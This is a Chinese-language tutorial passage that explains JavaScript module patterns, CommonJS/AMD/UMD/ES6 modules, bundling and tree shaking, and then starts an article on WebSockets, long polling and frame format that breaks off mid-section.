          return '平均分 ' + total / myGrades.length + '.';
      }
    
      var failing = function(){
        var failingGrades = myGrades.filter(function(item) {
          return item < 70;});
          
        return '挂机科了 ' + failingGrades.length + ' 次。';
      }
    
      console.log(failing()); // 挂机科了次
      onsole.log(global); // 你好,我是一个全局变量。
    
    }());

注意,匿名函数的圆括号是必需的,因为以关键字 function 开头的语句通常被认为是函数声明(请记住,JavaScript 中不能使用未命名的函数声明)。因此,周围的括号将创建一个函数表达式,并立即执行这个函数,这还有另一种叫法 立即执行函数(IIFE)。如果你对这感兴趣,可以在这里了解到更多。

例二:全局导入

jQuery 等库使用的另一种流行方法是全局导入。它类似于我们刚才看到的匿名闭包,只是现在我们作为参数传入全局变量:

(function (globalVariable) {

  // 在这个闭包范围内保持变量的私有化
  var privateFunction = function() {
    console.log('Shhhh, this is private!');
  }

  // 通过 globalVariable 接口公开下面的方法
 // 同时将方法的实现隐藏在 function() 块中

  globalVariable.each = function(collection, iterator) {
    if (Array.isArray(collection)) {
      for (var i = 0; i < collection.length; i++) {
        iterator(collection[i], i, collection);
      }
    } else {
      for (var key in collection) {
        iterator(collection[key], key, collection);
      }
    }
  };

  globalVariable.filter = function(collection, test) {
    var filtered = [];
    globalVariable.each(collection, function(item) {
      if (test(item)) {
        filtered.push(item);
      }
    });
    return filtered;
  };

  globalVariable.map = function(collection, iterator) {
    var mapped = [];
    globalUtils.each(collection, function(value, key, collection) {
      mapped.push(iterator(value));
    });
    return mapped;
  };

  globalVariable.reduce = function(collection, iterator, accumulator) {
    var startingValueMissing = accumulator === undefined;

    globalVariable.each(collection, function(item) {
      if(startingValueMissing) {
        accumulator = item;
        startingValueMissing = false;
      } else {
        accumulator = iterator(accumulator, item);
      }
    });

    return accumulator;

  };

 }(globalVariable));

在这个例子中,globalVariable 是唯一的全局变量。与匿名闭包相比,这种方法的好处是可以预先声明全局变量,使得别人更容易阅读代码。

例三:对象接口

另一种方法是使用立即执行函数接口对象创建模块,如下所示:

var myGradesCalculate = (function () {
    
  // 将这些变量放在闭包范围内实现私有化
  var myGrades = [93, 95, 88, 0, 55, 91];

  // 通过接口公开这些函数,同时将模块的实现隐藏在function()块中

  return {
    average: function() {
      var total = myGrades.reduce(function(accumulator, item) {
        return accumulator + item;
        }, 0);
        
      return'平均分 ' + total / myGrades.length + '.';
    },

    failing: function() {
      var failingGrades = myGrades.filter(function(item) {
          return item < 70;
        });

      return '挂科了' + failingGrades.length + ' 次.';
    }
  }
})();

myGradesCalculate.failing(); // '挂科了 2 次.' 
myGradesCalculate.average(); // '平均分 70.33333333333333.'

正如您所看到的,这种方法允许我们通过将它们放在 return 语句中(例如算平均分和挂科数方法)来决定我们想要保留的变量/方法(例如 myGrades)以及我们想要公开的变量/方法。

例四:显式模块模式

这与上面的方法非常相似,只是它确保所有方法和变量在显式公开之前都是私有的:

var myGradesCalculate = (function () {
    
  // 将这些变量放在闭包范围内实现私有化
  var myGrades = [93, 95, 88, 0, 55, 91];
  
  var average = function() {
    var total = myGrades.reduce(function(accumulator, item) {
      return accumulator + item;
      }, 0);
      
    return'平均分 ' + total / myGrades.length + '.';
  };

  var failing = function() {
    var failingGrades = myGrades.filter(function(item) {
        return item < 70;
      });

    return '挂科了' + failingGrades.length + ' 次.';
  };

  // Explicitly reveal public pointers to the private functions 
  // that we want to reveal publicly

  return {
    average: average,
    failing: failing
  }
})();

myGradesCalculate.failing(); // '挂科了 2 次.' 
myGradesCalculate.average(); // '平均分 70.33333333333333.'

这可能看起来很多,但它只是模块模式的冰山一角。 以下是我在自己的探索中发现有用的一些资源:

CommonJS 和 AMD

所有这些方法都有一个共同点:使用单个全局变量将其代码包装在函数中,从而使用闭包作用域为自己创建一个私有名称空间。

虽然每种方法都有效且都有各自特点,但却都有缺点。

首先,作为开发人员,你需要知道加载文件的正确依赖顺序。例如,假设你在项目中使用 Backbone,因此你可以将 Backbone 的源代码 以<script> 脚本标签的形式引入到文件中。

但是,由于 Backbone 对 Underscore.js 有很强的依赖性,因此 Backbone 文件的脚本标记不能放在Underscore.js 文件之前。

作为一名开发人员,管理依赖关系并正确处理这些事情有时会令人头痛。

另一个缺点是它们仍然会导致名称空间冲突。例如,如果两个模块具有相同的名称怎么办?或者,如果有一个模块的两个版本,并且两者都需要,该怎么办?

幸运的是,答案是肯定的。

有两种流行且实用的方法:CommonJSAMD

CommonJS

CommonJS 是一个志愿者工作组,负责设计和实现用于声明模块的 JavaScript API。

CommonJS 模块本质上是一个可重用的 JavaScript,它导出特定的对象,使其可供其程序中需要的其他模块使用。 如果你已经使用 Node.js 编程,那么你应该非常熟悉这种格式。

使用 CommonJS,每个 JavaScript 文件都将模块存储在自己独立的模块上下文中(就像将其封装在闭包中一样)。 在此范围内,我们使用 module.exports 导出模块,或使用 require 来导入模块。

在定义 CommonJS 模块时,它可能是这样的:

function myModule() {
  this.hello = function() {
    return 'hello!';
  }
   
  this.goodbye = function() {
    return 'goodbye!';
  }
}

module.exports = myModule;

我们使用特殊的对象模块,并将函数的引用放入 module.exports 中。这让 CommonJS 模块系统知道我们想要公开什么,以便其他文件可以使用它。

如果想使用 myModule,只需要使用 require 方法就可以,如下:

var myModule = require('myModule');

var myModuleInstance = new myModule();
myModuleInstance.hello(); // 'hello!'
myModuleInstance.goodbye(); // 'goodbye!'

与前面讨论的模块模式相比,这种方法有两个明显的好处:

  1. 避免全局命名空间污染
  2. 依赖关系更加明确

另外需要注意的是,CommonJS 采用服务器优先方法并同步加载模块。 这很重要,因为如果我们需要三个其他模块,它将逐个加载它们。

现在,它在服务器上运行良好,但遗憾的是,在为浏览器编写 JavaScript 时使用起来更加困难。 可以这么说,从网上读取模块比从磁盘读取需要更长的时间。 只要加载模块的脚本正在运行,它就会阻止浏览器运行其他任何内容,直到完成加载,这是因为 JavaScript 是单线程且 CommonJS 是同步加载的。

AMD

CommonJS一切都很好,但是如果我们想要异步加载模块呢? 答案是 异步模块定义,简称 AMD

使用 AMD 的加载模块如下:

define(['myModule', 'myOtherModule'], function(myModule, myOtherModule) {
  console.log(myModule.hello());
});

define 函数的第一个参数是一个数组,数组中是依赖的各种模块。这些依赖模块在后台(以非阻塞的方式)加载进来,一旦加载完毕,define 函数就会调用第二个参数,即回调函数执行操作。

接下来,回调函数接收参数,即依赖模块 - 示例中就是 myModulemyOtherModule - 允许函数使用这些依赖项, 最后,所依赖的模块本身也必须使用 define 关键字来定义。例如,myModule如下所示:

define([], function() {

  return {
    hello: function() {
      console.log('hello');
    },
    goodbye: function() {
      console.log('goodbye');
    }
  };
});

因此,与 CommonJS 不同,AMD 采用浏览器优先的方法和异步行为来完成工作。 (注意,有很多人坚信在开始运行代码时动态加载文件是不利的,我们将在下一节关于模块构建的内容中探讨更多内容)。

除了异步性,AMD 的另一个好处是模块可以是对象,函数,构造函数,字符串,JSON 和许多其他类型,而CommonJS 只支持对象作为模块。

也就是说,和CommonJS相比,AMD不兼容io、文件系统或者其他服务器端的功能特性,而且函数包装语法与简单的require 语句相比有点冗长。

UMD

对于同时支持 AMD 和 CommonJS 特性的项目,还有另一种格式:通用模块定义(Universal Module Definition, UMD)。

UMD 本质上创造了一种使用两者之一的方法,同时也支持全局变量定义。因此,UMD 模块能够同时在客户端和服务端同时工作。

简单看一下 UMD 是怎样工作的:

(function (root, factory) {
  if (typeof define === 'function' && define.amd) {
      // AMD
    define(['myModule', 'myOtherModule'], factory);
  } else if (typeof exports === 'object') {
      // CommonJS
    module.exports = factory(require('myModule'), require('myOtherModule'));
  } else {
    // Browser globals (Note: root is window)
    root.returnExports = factory(root.myModule, root.myOtherModule);
  }
}(this, function (myModule, myOtherModule) {
  // Methods
  function notHelloOrGoodbye(){}; // A private method
  function hello(){}; // A public method because it's returned (see below)
  function goodbye(){}; // A public method because it's returned (see below)

  // Exposed public methods
  return {
      hello: hello,
      goodbye: goodbye
  }
}));

Github 上 enlightening repo 里有更多关于 UMD 的例子。

Native JS

你可能已经注意到,上面的模块都不是 JavaScript 原生的。相反,我们已经创建了通过使用模块模式、CommonJS 或 AMD 来模拟模块系统的方法。

幸运的是,TC39(定义 ECMAScript 的语法和语义的标准组织)一帮聪明的人已经引入了ECMAScript 6(ES6)的内置模块。

ES6 为导入导出模块提供了很多不同的可能性,已经有许多其他人花时间解释这些,下面是一些有用的资源:

与 CommonJS 或 AMD 相比,ES6 模块最大的优点在于它能够同时提供两方面的优势:简明的声明式语法和异步加载,以及对循环依赖项的更好支持。

也许我个人最喜欢的 ES6 模块功能是它的导入模块是导出时模块的实时只读视图。(相比起 CommonJS,导入的是导出模块的拷贝副本,因此也不是实时的)。

下面是一个例子:

// lib/counter.js

var counter = 1;

function increment() {
  counter++;
}

function decrement() {
  counter--;
}

module.exports = {
  counter: counter,
  increment: increment,
  decrement: decrement
};


// src/main.js

var counter = require('../../lib/counter');

counter.increment();
console.log(counter.counter); // 1

在这个例子中,我们基本上创建了两个模块的对象:一个用于导出它,一个在我们需要的时候引入。

此外,在 main.js 中的对象目前是与原始模块是相互独立的,这就是为什么即使我们执行 increment 方法,它仍然返回 1,因为引入的变量和最初导入的变量是毫无关联的。需要改变你引入的对象唯一的方式是手动执行增加:

counter.counter++;
console.log(counter.counter); // 2

另一方面,ES6创建了我们导入的模块的实时只读视图:

// lib/counter.js
export let counter = 1;

export function increment() {
  counter++;
}

export function decrement() {
  counter--;
}


// src/main.js
import * as counter from '../../counter';

console.log(counter.counter); // 1
counter.increment();

console.log(counter.counter); // 2

超酷?我发现这一点是因为ES6允许你可以把你定义的模块拆分成更小的模块而不用删减功能,然后你还能反过来把它们合成到一起, 完全没问题。

什么是模块打包?

总体上看,模块打包只是将一组模块(及其依赖项)以正确的顺序拼接到一个文件(或一组文件)中的过程。正如 Web开发的其它方方面面,棘手的问题总是潜藏在具体的细节里。

为什么需要打包?

将程序划分为模块时,通常会将这些模块组织到不同的文件和文件夹中。 有可能,你还有一组用于正在使用的库的模块,如 Underscore 或 React。

因此,每个文件都必须以一个 <script> 标签引入到主 HTML 文件中,然后当用户访问你的主页时由浏览器加载进来。 每个文件使用 <script> 标签引入,意味着浏览器不得不分别逐个的加载它们。

这对于页面加载时间来说简直是噩梦。

为了解决这个问题,我们将所有文件打包或“拼接”到一个大文件(或视情况而定的几个文件),以减少请求的数量。 当你听到开发人员谈论“构建步骤”或“构建过程”时,这就是他们所谈论的内容。

另一种加速构建操作的常用方法是“缩减”打包代码。 缩减是从源代码中移除不必要的字符(例如,空格,注释,换行符等)的过程,以便在不改变代码功能的情况下减少内容的整体大小。

较少的数据意味着浏览器处理时间会更快,从而减少了下载文件所需的时间。 如果你见过具有 “min” 扩展名的文件,如 “underscore-min.js” ,可能会注意到与完整版相比,缩小版本非常小(不过很难阅读)。

除了捆绑和/或加载模块之外,模块捆绑器还提供了许多其他功能,例如在进行更改时生成自动重新编译代码或生成用于调试的源映射。

构建工具(如 Gulp 和 Grunt)能为开发者直接进行拼接和缩减,确保为开发人员提供可读代码,同时有利于浏览器执行的代码。

打包模块有哪些不同的方法?

当你使用一种标准模块模式(上部分讨论过)来定义模块时,拼接和缩减文件非常有用。 你真正在做的就是将一堆普通的 JavaScript 代码捆绑在一起。

但是,如果你坚持使用浏览器无法解析的非原生模块系统(如 CommonJS 或 AMD(甚至是原生 ES6模块格式)),则需要使用专门工具将模块转换为排列正确、浏览器可解析的代码。 这就是 Browserify,RequireJS,Webpack 和其他“模块打包工具”或“模块加载工具”的用武之地。

除了打包和/或加载模块之外,模块打包器还提供了许多其他功能,例如在进行更改时生成自动重新编译代码或生成用于调试的源映射。

下面是一些常见的模块打包方法:

打包 CommonJS

正如前面所知道的,CommonJS以同步方式加载模块,这没有什么问题,只是它对浏览器不实用。我提到过有一个解决方案——其中一个是一个名为 Browserify 的模块打包工具。Browserify 是一个为浏览器编译 CommonJS模块的工具。

例如,有个 main.js 文件,它导入一个模块来计算一组数字的平均值:

var myDependency = require(‘myDependency’);

var myGrades = [93, 95, 88, 0, 91];

var myAverageGrade = myDependency.average(myGrades);

在这种情况下,我们有一个依赖项(myDependency),使用下面的命令,Browserify 以 main.js 为入口把所有依赖的模块递归打包成一个文件:

browserify main.js -o bundle.js

Browserify 通过跳入文件分析每一个依赖的 抽象语法树(AST),以便遍历项目的整个依赖关系图。一旦确定了依赖项的结构,就把它们按正确的顺序打包到一个文件中。然后,在 html 里插入一个用于引入 “bundle.js”<script> 标签,从而确保你的源代码在一个 HTTP 请求中完成下载。

类似地,如果有多个文件且有多个依赖时,只需告诉 Browserify 的入口文件路径即可。最后打包后的文件可以通过 Minify-JS 之类的工具压缩打包后的代码。

打包 AMD

如果你正在使用 AMD,你需要使用像 RequireJS 或者 Curl 这样的 AMD 加载器。模块加载器(与模块打包工具不同)会动态加载程序需要运行的模块。

提醒一下,AMD 与 CommonJS 的主要区别之一是它以异步方式加载模块。 从这个意义上说,对于 AMD,从技术上讲,实际上并不需要构建步骤,因为异步加载模块意味着在运行过程中逐步下载那些程序所需要的文件,而不是用户刚进入页面就一下把所有文件都下载下来。

但实际上,对于每个用户操作而言,随着时间的推移,大容量请求的开销在生产中没有多大意义。 大多数 Web 开发人员仍然使用构建工具打包和压缩 AMD 模块以获得最佳性能,例如使用 RequireJS 优化器,r.js 等工具。

总的来说,AMD 和 CommonJS 在打包方面的区别在于:在开发期间,AMD 可以省去任何构建过程。当然,在代码上线前,要使用优化工具(如 r.js)进行优化。

Webpack

就打包工具而言,Webpack 是一个新事物。它被设计成与你使用的模块系统无关,允许开发人员在适当的情况下使用 CommonJS、AMD 或 ES6。

你可能想知道,为什么我们需要 Webpack,而我们已经有了其他打包工具了,比如 Browserify 和 RequireJS,它们可以完成工作,并且做得非常好。首先,Webpack 提供了一些有用的特性,比如 “代码分割”(code
splitting) —— 一种将代码库分割为“块(chunks)”的方式,从而能实现按需加载。

例如,如果你的 Web 应用程序,其中只需要某些代码,那么将整个代码库都打包进一个大文件就不是很高效。 在这种情况下,可以使用代码分割,将需要的部分代码抽离在"打包块",在执行按需加载,从而避免在最开始就遇到大量负载的麻烦。

代码分割只是 Webpack 提供的众多引人注目的特性之一,网上有很多关于 “Webpack 与 Browserify 谁更好” 的激烈讨论。以下是一些客观冷静的讨论,帮助我稍微理清了头绪:

ES6 模块

当前 JS 模块规范(CommonJS, AMD) 与 ES6 模块之间最重要的区别是 ES6 模块的设计考虑到了静态分析。这意味着当你导入模块时,导入的模块在编译阶段也就是代码开始运行之前就被解析了。这允许我们在运行程序之前移,移除那些在导出模块中不被其它模块使用的部分。移除不被使用的模块能节省空间,且有效地减少浏览器的压力。

一个常见的问题,使用一些工具,如 Uglify.js ,缩减代码时,有一个死码删除的处理,它和 ES6 移除没用的模块又有什么不同呢?只能说 “视情况而定”。

死码消除(Dead codeelimination)是一种编译器原理中编译最优化技术,它的用途是移除对程序运行结果没有任何影响的代码。移除这类的代码有两种优点,不但可以减少程序的大小,还可以避免程序在运行中进行不相关的运算行为,减少它运行的时间。不会被运行到的代码(unreachable code)以及只会影响到无关程序运行结果的变量(Dead Variables),都是死码(Dead code)的范畴。

有时,在 UglifyJS 和 ES6 模块之间死码消除的工作方式完全相同,有时则不然。如果你想验证一下, Rollup’s wiki 里有个很好的示例。

ES6 模块的不同之处在于死码消除的不同方法,称为“tree shaking”。“tree shaking” 本质上是死码消除反过程。它只包含包需要运行的代码,而非排除不需要的代码。来看个例子:

假设有一个带有多个函数的 utils.js 文件,每个函数都用 ES6 的语法导出:

export function each(collection, iterator) {
  if (Array.isArray(collection)) {
    for (var i = 0; i < collection.length; i++) {
      iterator(collection[i], i, collection);
    }
  } else {
    for (var key in collection) {
      iterator(collection[key], key, collection);
    }
  }
 }

export function filter(collection, test) {
  var filtered = [];
  each(collection, function(item) {
    if (test(item)) {
      filtered.push(item);
    }
  });
  return filtered;
}

export function map(collection, iterator) {
  var mapped = [];
  each(collection, function(value, key, collection) {
    mapped.push(iterator(value));
  });
  return mapped;
}

export function reduce(collection, iterator, accumulator) {
    var startingValueMissing = accumulator === undefined;

    each(collection, function(item) {
      if(startingValueMissing) {
        accumulator = item;
        startingValueMissing = false;
      } else {
        accumulator = iterator(accumulator, item);
      }
    });

	return accumulator;
}

接着,假设我们不知道要在程序中使用什么 utils.js 中的哪个函数,所以我们将上述的所有模块导入main.js中,如下所示:

import * as Utils from ‘./utils.js’;

最终,我们只用到的 each 方法:

import * as Utils from ‘./utils.js’;

Utils.each([1, 2, 3], function(x) { console.log(x) });

“tree shaken” 版本的 main.js 看起来如下(一旦模块被加载后):

function each(collection, iterator) {
  if (Array.isArray(collection)) {
    for (var i = 0; i < collection.length; i++) {
      iterator(collection[i], i, collection);
    }
  } else {
    for (var key in collection) {
      iterator(collection[key], key, collection);
    }
  }
 };

each([1, 2, 3], function(x) { console.log(x) });

注意:只导出我们使用的 each 函数。

同时,如果决定使用 filte r函数而不是每个函数,最终会看到如下的结果:

import * as Utils from ‘./utils.js’;

Utils.filter([1, 2, 3], function(x) { return x === 2 });

tree shaken 版本如下:

function each(collection, iterator) {
  if (Array.isArray(collection)) {
    for (var i = 0; i < collection.length; i++) {
      iterator(collection[i], i, collection);
    }
  } else {
    for (var key in collection) {
      iterator(collection[key], key, collection);
    }
  }
 };

function filter(collection, test) {
  var filtered = [];
  each(collection, function(item) {
    if (test(item)) {
      filtered.push(item);
    }
  });
  return filtered;
};

filter([1, 2, 3], function(x) { return x === 2 });

此时,each 和 filter 函数都被包含进来。这是因为 filter 在定义时使用了 each。因此也需要导出该函数模块以保证程序正常运行。

构建 ES6 模块

我们知道 ES6 模块的加载方式与其他模块格式不同,但我们仍然没有讨论使用 ES6 模块时的构建步骤。

遗憾的是,因为浏览器对 ES6模 块的原生支持还不够完善,所以现阶段还需要我们做一些补充工作。

image

下面是几个在浏览器中 构建/转换 ES6 模块的方法,其中第一个是目前最常用的方法:

  1. 使用转换器(例如 Babel 或 Traceur)以 CommonJS、AMD 或 UMD 格式将 ES6 代码转换为 ES5 代码,然后再通过 Browserify 或 Webpack 一类的构建工具来进行构建。

  2. 使用 Rollup.js,这其实和上面差不多,只是 Rollup 捎带 ES6 模块的功能,在打包之前静态分析ES6 代码和依赖项。 它利用 “tree shaking” 技术来优化你的代码。 总言,当您使用ES6模块时,Rollup.js 相对于 Browserify 或 Webpack 的主要好处是 tree shaking 能让打包文件更小。 需要注意的是,Rollup提 供了几种格式来的打包代码,包括 ES6,CommonJS,AMD,UMD 或 IIFE。 IIFE 和 UMD 捆绑包可以直接在浏览器中工作,但如果你选择打包 AMD,CommonJS 或 ES6,需需要寻找能将代码转成浏览器能理解运行的代码的方法(例如,使用 Browserify, Webpack,RequireJS等)。

小心踩坑

作为 web 开发人员,我们必须经历很多困难。转换语法优雅的ES6代码以便在浏览器里运行并不总是容易的。

问题是,什么时候 ES6 模块可以在浏览器中运行而不需要这些开销?

答案是:“尽快”。

ECMAScript 目前有一个解决方案的规范,称为 ECMAScript 6 module loader API。简而言之,这是一个纲领性的、基于 Promise 的 API,它支持动态加载模块并缓存它们,以便后续导入不会重新加载模块的新版本。

它看起来如下:

// myModule.js

export class myModule {
  constructor() {
    console.log('Hello, I am a module');
  }

  hello() {
    console.log('hello!');
  }

  goodbye() {
    console.log('goodbye!');
  }
}

// main.js System.import(‘myModule’).then(function(myModule) { new myModule.hello(); });
// ‘hello!’

你亦可直接对 script 标签指定 “type=module” 来定义模块,如:

<script type="module">
  // loads the 'myModule' export from 'mymodule.js'
  import { hello } from 'mymodule';

  new Hello(); // 'Hello, I am a module!'
</script>

更加详细的介绍也可以在 Github 上查看:es-module-loader

此外,如果您想测试这种方法,请查看 SystemJS,它建立在 ES6 Module Loader polyfill 之上。 SystemJS 在浏览器和 Node 中动态加载任何模块格式(ES6模块,AMD,CommonJS 或 全局脚本)。

它跟踪“模块注册表”中所有已加载的模块,以避免重新加载先前已加载过的模块。 更不用说它还会自动转换ES6模块(如果只是设置一个选项)并且能够从任何其他类型加载任何模块类型!

有了原生的 ES6 模块后,还需要模块打包吗?

对于日益普及的 ES6 模块,下面有一些有趣的观点:

HTTP/2 会让模块打包过时吗?

对于 HTTP/1,每个TCP连接只允许一个请求。这就是为什么加载多个资源需要多个请求。有了 HTTP/2,一切都变了。HTTP/2 是完全多路复用的,这意味着多个请求和响应可以并行发生。因此,我们可以在一个连接上同时处理多个请求。

由于每个 HTTP 请求的成本明显低于HTTP/1,因此从长远来看,加载一组模块不会造成很大的性能问题。一些人认为这意味着模块打包不再是必要的,这当然有可能,但这要具体情况具体分析了。

例如,模块打包还有 HTTP/2 没有好处,比如移除冗余的导出模块以节省空间。 如果你正在构建一个性能至关重要的网站,那么从长远来看,打包可能会为你带来增量优势。 也就是说,如果你的性能需求不是那么极端,那么通过完全跳过构建步骤,可以以最小的成本节省时间。

总的来说,绝大多数网站都用上 HTTP/2 的那个时候离我们现在还很远。我预测构建过程将会保留,至少在近期内。

CommonJS、AMD 与 UMD 会被淘汰吗?

一旦 ES6 成为模块标准,我们还需要其他非原生模块规范吗?

我觉得还有。

Web 开发遵守一个标准方法进行导入和导出模块,而不需要中间构建步骤——网页开发长期受益于此。但 ES6 成为模块规范需要多长时间呢?

机会是有,但得等一段时间 。

再者,众口难调,所以“一个标准的方法”可能永远不会成为现实。

总结

希望这篇文章能帮你理清一些开发者口中的模块和模块打包的相关概念,共进步。

原文:

https://medium.freecodecamp.org/javascript-modules-a-beginner-s-guide-783f7d7a5fcc

https://medium.freecodecamp.org/javascript-modules-part-2-module-bundling-5020383cf306

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

image

5.JavaScript是如何工作: 深入探索 websocket 和HTTP/2与SSE +如何选择正确的路径

文章底部分享给大家一套 react + socket 实战教程

这一次,我们将深入到通信协议的领域,映射和探讨它们的属性,并在此过程中构建部分组件。快速比较WebSockets和 HTTP/2。最后,我们分享一些关于如何选择网络协议的方法。

简介

如今,功能丰富、动态 ui 的复杂 web 应用程序被认为是理所当然。这并不奇怪——互联网自诞生以来已经走过了漫长的道路。

最初,互联网并不是为了支持这种动态和复杂的 web 应用程序而构建的。它被认为是HTML页面的集合,相互链接形成一个包含信息的 “web” 概念。一切都是围绕 HTTP 的所谓 请求/响应 范式构建的。客户端加载一个页面,然后在用户单击并导航到下一个页面之前什么都不会发生。

大约在2005年,AJAX被引入,很多人开始探索在客户端和服务器之间建立双向连接的可能性。尽管如此,所有HTTP 通信都由客户端引导,客户端需要用户交互或定期轮询以从服务器加载新数据。

让 HTTP 变成“双向”交互

让服务器能够“主动”向客户机发送数据的技术已经出现了相当长的时间。例如“Push”和“Comet”。

最常见的一种黑客攻击方法是让服务器产生一种需要向客户端发送数据的错觉,这称为长轮询。通过长轮询,客户端打开与服务器的 HTTP 连接,使其保持打开状态,直到发送响应为止。 每当服务器有新数据时需要发送时,就会作为响应发送。

看看一个非常简单的长轮询代码片段是什么样的:

(function poll(){
   setTimeout(function(){
      $.ajax({ 
        url: 'https://api.example.com/endpoint', 
        success: function(data) {
          // Do something with `data`
          // ...

          //Setup the next poll recursively
          poll();
        }, 
        dataType: 'json'
      });
  }, 10000);
})();

这基本上是一个自执行函数,第一次立即运行时,它设置了 10 秒间隔,在对服务器的每个异步Ajax调用之后,回调将再次调用Ajax。

其他技术涉及 Flash 或 XHR multipart request 和所谓的 htmlfiles 。

但是,所有这些工作区都有一个相同的问题:它们都带有 HTTP 的开销,这使得它们不适合于低延迟应用程序。想想浏览器中的多人第一人称射击游戏或任何其他带有实时组件的在线游戏。

WebSockets 的引入

WebSocket 规范定义了在 web 浏览器和服务器之间建立“套接字”连接的 API。简单地说:客户机和服务器之间存在长久连接,双方可以随时开始发送数据。

image

客户端通过 WebSocket 握手 过程建立 WebSocket 连接。这个过程从客户机向服务器发送一个常规 HTTP 请求开始,这个请求中包含一个升级头,它通知服务器客户机希望建立一个 WebSocket 连接。

客户端建立 WebSocket 连接方式如下:

// Create a new WebSocket with an encrypted connection.
var socket = new WebSocket('ws://websocket.example.com')

WebSocket url使用 ws 方案。还有 wss 用于安全的 WebSocket 连接,相当于HTTPS。

这个方案只是打开 websocket.example.com 的 WebSocket 连接的开始。

下面是初始请求头的一个简化示例:

image

如果服务器支持 WebSocke t协议,它将同意升级,并通过响应中的升级头进行通信。

Node.js 的实现方式:

image

建立连接后,服务器通过升级头部中内容时行响应:

image

一旦建立连接,open 事件将在客户端 WebSocket 实例上被触发:

var socket = new WebSocket('ws://websocket.example.com');

// Show a connected message when the WebSocket is opened.
socket.onopen = function(event) {
  console.log('WebSocket is connected.');
};

现在握手已经完成,初始 HTTP 连接被使用相同底层 TCP/IP 连接的 WebSocket 连接替换。此时,双方都可以开始发送数据。

使用 WebSockets,可以传输任意数量的数据,而不会产生与传统 HTTP 请求相关的开销。数据作为消息通过 WebSocket 传输,每个消息由一个或多个帧组成,其中包含正在发送的数据(有效负载)。为了确保消息在到达客户端时能够正确地进行重构,每一帧都以负载的4-12字节数据为前缀, 使用这种基于帧的消息传递系统有助于减少传输的非有效负载数据量,从而大大的减少延迟。

注意:值得注意的是,只有在接收到所有帧并重构了原始消息负载之后,客户机才会收到关于新消息的通知。

WebSocket URLs

之前简要提到过 WebSockets 引入了一个新的URL方案。实际上,他们引入了两个新的方案:ws:// 和wss://。

url 具有特定方案的语法。WebSocket url 的特殊之处在于它们不支持锚点(#sample_anchor)。

同样的规则适用于 WebSocket 风格的url和 HTTP 风格的 url。ws 是未加密的,默认端口为80,而 wss 需要TLS加密,默认端口为 443。

帧协议

更深入地了解帧协议,这是 RFC 为我们提供的:

在RFC 指定的 WebSocket 版本中,每个包前面只有一个报头。然而,这是一个相当复杂的报头。以下是它的构建模块:

image

  • FIN :1bit ,表示是消息的最后一帧,如果消息只有一帧那么第一帧也就是最后一帧,Firefox 在 32K 之后创建了第二个帧。

  • RSV1,RSV2,RSV3:每个1bit,必须是0,除非扩展定义为非零。如果接受到的是非零值但是扩展没有定义,则需要关闭连接。

  • Opcode:4bit,解释 Payload 数据,规定有以下不同的状态,如果是未知的,接收方必须马上关闭连接。状态如下:

  • 0x00: 附加数据帧

  • 0x01:文本数据帧  

  • 0x02:二进制数据帧    

  • 0x3-7:保留为之后非控制帧使用

  • 0x8:关闭连接帧

  • 0x9:ping

  • 0xA:pong

  • 0xB-F(保留为后面的控制帧使用)      


   * ```Mask```:1bit,掩码,定义payload数据是否进行了掩码处理,如果是1表示进行了掩码处理。

  • Masking-key:域的数据即是掩码密钥,用于解码PayloadData。客户端发出的数据帧需要进行掩码处理,所以此位是1。

  • Payload_len:7位,7 + 16位,7+64位,payload数据的长度,如果是0-125,就是真实的payload长度,如果是126,那么接着后面的2个字节对应的16位无符号整数就是payload数据长度;如果是127,那么接着后面的8个字节对应的64位无符号整数就是payload数据的长度。

  • Masking-key:0到4字节,如果MASK位设为1则有4个字节的掩码解密密钥,否则就没有。

  • Payload data:任意长度数据。包含有扩展定义数据和应用数据,如果没有定义扩展则没有此项,仅含有应用数据。

为什么 WebSocket 是基于帧而不是基于流?我不知道,就像你一样,我很想了解更多,所以如果你有想法,请随时在下面的回复中添加评论和资源。另外,关于这个主题的讨论可以在 HackerNews 上找到。

帧数据

如上所述,数据可以被分割成多个帧。 传输数据的第一帧有一个操作码,表示正在传输什么类型的数据。 这是必要的,因为 JavaScript 在开始规范时几乎不存在对二进制数据的支持。 0x01 表示 utf-8 编码的文本数据,0x02 是二进制数据。大多数人会发送 JSON ,在这种情况下,你可能要选择文本操作码。 当你发送二进制数据时,它将在浏览器特定的 Blob 中表示。

通过 WebSocket 发送数据的API非常简单:

var socket = new WebSocket('ws://websocket.example.com');
socket.onopen = function(event) {
  socket.send('Some message'); // Sends data to server.
};

当 WebSocket 接收数据时(在客户端),会触发一个消息事件。此事件包括一个名为data的属性,可用于访问消息的内容。

// Handle messages sent by the server.
socket.onmessage = function(event) {
  var message = event.data;
  console.log(message);
};

在Chrome开发工具:可以很容易地观察 WebSocket 连接中每个帧中的数据:

image

消息分片

有效载荷数据可以分成多个单独的帧。接收端应该对它们进行缓冲,直到设置好 fin 位。因此,可以将字符串“Hello World”发送到11个包中,每个包的长度为6(报头长度)+ 1字节。控件包不允许分片。但是,规范希望能够处理交错的控制帧。这是TCP包以任意顺序到达的情况。

连接帧的逻辑大致如下:

  • 接收第一帧

  • 记住操作码

  • 将帧有效负载连接在一起,直到 fin 位被设置

  • 断言每个包的操作码是零

分片目的是发送长度未知的消息。如果不分片发送,即一帧,就需要缓存整个消息,计算其长度,构建frame并发送;使用分片的话,可使用一个大小合适的buffer,用消息内容填充buffer,填满即发送出去。

什么是跳动检测?

主要目的是保障客户端 websocket 与服务端连接状态,该程序有心跳检测及自动重连机制,当网络断开或者后端服务问题造成客户端websocket断开,程序会自动尝试重新连接直到再次连接成功。

在使用原生websocket的时候,如果设备网络断开,不会触发任何函数,前端程序无法得知当前连接已经断开。这个时候如果调用 websocket.send 方法,浏览器就会发现消息发不出去,便会立刻或者一定短时间后(不同浏览器或者浏览器版本可能表现不同)触发 onclose 函数。

后端 websocket 服务也可能出现异常,连接断开后前端也并没有收到通知,因此需要前端定时发送心跳消息 ping,后端收到 ping 类型的消息,立马返回 pong 消息,告知前端连接正常。如果一定时间没收到pong消息,就说明连接不正常,前端便会执行重连。

为了解决以上两个问题,以前端作为主动方,定时发送 ping 消息,用于检测网络和前后端连接问题。一旦发现异常,前端持续执行重连逻辑,直到重连成功。

错误处理

以通过监听 error 事件来处理所有错误:

var socket = new WebSocket('ws://websocket.example.com');

// Handle any error that occurs.
socket.onerror = function(error) {
  console.log('WebSocket Error: ' + error);
};

关闭连接

